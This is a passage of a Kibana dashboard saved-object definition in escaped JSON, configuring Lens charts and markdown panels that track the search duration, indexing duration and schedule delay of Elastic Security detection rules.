@timestamp\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"505272a2-f4fb-4778-9fdf-11415f36cc51\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\"},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\"},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"palette\":{\"type\":\"palette\",\"name\":\"default\"},\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"splitAccessor\":\"3a521678-3e76-49b6-a379-eb75ef03604b\"}],\"yTitle\":\"Search duration, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"505272a2-f4fb-4778-9fdf-11415f36cc51\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"3a521678-3e76-49b6-a379-eb75ef03604b\":{\"label\":\"Top 5 values of rule.name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":5,\"orderBy\":{\"type\":\"column\",\"columnId\":\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"secondaryFields\":[],\"parentFormat\":{\"id\":\"terms\"}}},\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\":{\"label\":\"Search duration\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_search_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"3a521678-3e76-49b6-a379-eb75ef03604b\",\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"fe382f90-aa03-47e0-a8a0-d6a8de877467\",\"gridData\":{\"i\":\"fe382f90-aa03-47e0-a8a0-d6a8de877467\",\"y\":80,\"x\":21,\"w\":27,\"h\":15}},{\"type\":\"visualization\",\"title\":\"\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"savedVis\":{\"title\":\"\",\"description\":\"\",\"type\":\"markdown\",\"params\":{\"fontSize\":12,\"openLinksInNewTab\":false,\"markdown\":\"**Indexing duration** metric shows how much time it took for a rule when it was executing to write generated alerts to the `.alerts-security.alerts-*` index.\"},\"uiState\":{},\"data\":{\"aggs\":[],\"searchSource\":{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[]}}}},\"panelIndex\":\"267d2068-2d64-4e8e-bccb-efc580f90762\",\"gridData\":{\"i\":\"267d2068-2d64-4e8e-bccb-efc580f90762\",\"y\":95,\"x\":0,\"w\":48,\"h\":4}},{\"type\":\"lens\",\"title\":\"Indexing duration, percentiles\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"This chart aggregates this metric across all rules and shows how a few important percentiles of the metric were changing over time. 99th percentile means that 99% of rule executions had an indexing duration less than the percentile's value.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"e0a238a9-104e-46c0-890a-c7b3e1c08018\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\",\"maxLines\":1},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\"},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"yConfig\":[{\"forAccessor\":\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"color\":\"#d36086\",\"axisMode\":\"left\"},{\"forAccessor\":\"f623346f-da47-4819-b485-d3527bd4506e\",\"axisMode\":\"left\",\"color\":\"#9170b8\"},{\"forAccessor\":\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\",\"axisMode\":\"left\",\"color\":\"#6092c0\"}]}],\"curveType\":\"CURVE_MONOTONE_X\",\"yTitle\":\"Indexing duration, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}}}],\"index\":\"e0a238a9-104e-46c0-890a-c7b3e1c08018\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\":{\"label\":\"99th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_indexing_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":99},\"customLabel\":true},\"f623346f-da47-4819-b485-d3527bd4506e\":{\"label\":\"95th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_indexing_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":95},\"customLabel\":true},\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\":{\"label\":\"50th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_indexing_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"filter\":{\"query\":\"kibana.alert.rule.execution.metrics.total_run_duration_ms: *\",\"language\":\"kuery\"},\"params\":{\"percentile\":50},\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"0b6f467f-f784-457e-9351-839874bef66e\",\"gridData\":{\"i\":\"0b6f467f-f784-457e-9351-839874bef66e\",\"y\":99,\"x\":0,\"w\":21,\"h\":15}},{\"type\":\"lens\",\"title\":\"Indexing duration, top 5 rules per @timestamp\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"5f5acf46-a12a-43cf-8d4a-b1ef1a971771\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\"},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\"},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"palette\":{\"type\":\"palette\",\"name\":\"default\"},\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"splitAccessor\":\"3a521678-3e76-49b6-a379-eb75ef03604b\"}],\"yTitle\":\"Indexing duration, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"5f5acf46-a12a-43cf-8d4a-b1ef1a971771\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"3a521678-3e76-49b6-a379-eb75ef03604b\":{\"label\":\"Top 5 values of rule.name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":5,\"orderBy\":{\"type\":\"column\",\"columnId\":\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"secondaryFields\":[],\"parentFormat\":{\"id\":\"terms\"}}},\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\":{\"label\":\"Indexing duration\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_indexing_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"3a521678-3e76-49b6-a379-eb75ef03604b\",\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"2ad1eb6c-c19b-41b1-897e-2d1d192cedae\",\"gridData\":{\"i\":\"2ad1eb6c-c19b-41b1-897e-2d1d192cedae\",\"y\":99,\"x\":21,\"w\":27,\"h\":15}},{\"type\":\"visualization\",\"title\":\"\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"savedVis\":{\"title\":\"\",\"description\":\"\",\"type\":\"markdown\",\"params\":{\"fontSize\":12,\"openLinksInNewTab\":false,\"markdown\":\"Top 10 rules by various criteria.\"},\"uiState\":{},\"data\":{\"aggs\":[],\"searchSource\":{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[]}}}},\"panelIndex\":\"0fcc0476-eb8c-4c41-8325-2a9084a12e59\",\"gridData\":{\"i\":\"0fcc0476-eb8c-4c41-8325-2a9084a12e59\",\"y\":114,\"x\":0,\"w\":48,\"h\":4}},{\"type\":\"lens\",\"title\":\"Top 10 slowest rules by total execution duration\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsDatatable\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"a1fed0ee-76a2-476e-8614-9fe8e71128b3\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"columns\":[{\"columnId\":\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"isTransposed\":false},{\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\",\"isTransposed\":false,\"width\":135},{\"columnId\":\"75b295c8-00ac-4f62-8952-e4cb44b5f183\",\"isTransposed\":false,\"width\":153.66666666666669},{\"columnId\":\"2fe7ca3c-5c52-4d5e-9892-afb9141d6319\",\"isTransposed\":false,\"width\":86.16666666666663}],\"layerId\":\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"layerType\":\"data\"},\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"a1fed0ee-76a2-476e-8614-9fe8e71128b3\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\":{\"columns\":{\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\":{\"label\":\"Name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false,\"secondaryFields\":[]},\"customLabel\":true},\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\":{\"label\":\"Duration, ms\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_run_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true},\"75b295c8-00ac-4f62-8952-e4cb44b5f183\":{\"label\":\"Type\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.category\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false},\"customLabel\":true},\"2fe7ca3c-5c52-4d5e-9892-afb9141d6319\":{\"label\":\"ID\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.id\",\"isBucketed\":true,\"params\":{\"size\":10,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false},\"customLabel\":true}},\"columnOrder\":[\"2fe7ca3c-5c52-4d5e-9892-afb9141d6319\",\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"75b295c8-00ac-4f62-8952-e4cb44b5f183\",\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"],\"sampling\":1,\"ignoreGlobalFilters\":false,\"incompleteColumns\":{}}}},\"textBased\":{\"layers\":{}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"6ce283f7-115a-4a0f-9184-71e141149183\",\"gridData\":{\"i\":\"6ce283f7-115a-4a0f-9184-71e141149183\",\"y\":118,\"x\":0,\"w\":24,\"h\":16}},{\"type\":\"lens\",\"title\":\"Top 10 slowest rules by schedule delay\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsDatatable\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"ee506497-3313-49d4-9cc9-353e55305547\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"columns\":[{\"columnId\":\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"isTransposed\":false},{\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\",\"isTransposed\":false,\"width\":130},{\"columnId\":\"75b295c8-00ac-4f62-8952-e4cb44b5f183\",\"isTransposed\":false,\"width\":163.66666666666669},{\"columnId\":\"2fe7ca3c-5c52-4d5e-9892-afb9141d6319\",\"isTransposed\":false,\"width\":84.16666666666663}],\"layerId\":\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"layerType\":\"data\"},\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"ee506497-3313-49d4-9cc9-353e55305547\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\":{\"columns\":{\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\":{\"label\":\"Name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"alphabetical\",\"fallback\":false},\"orderDirection\":\"asc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false,\"secondaryFields\":[]},\"customLabel\":true},\"ce86886d-db33-4d81-a0c4-b2d5499cf2efX0\":{\"label\":\"Part of Schedule delay, 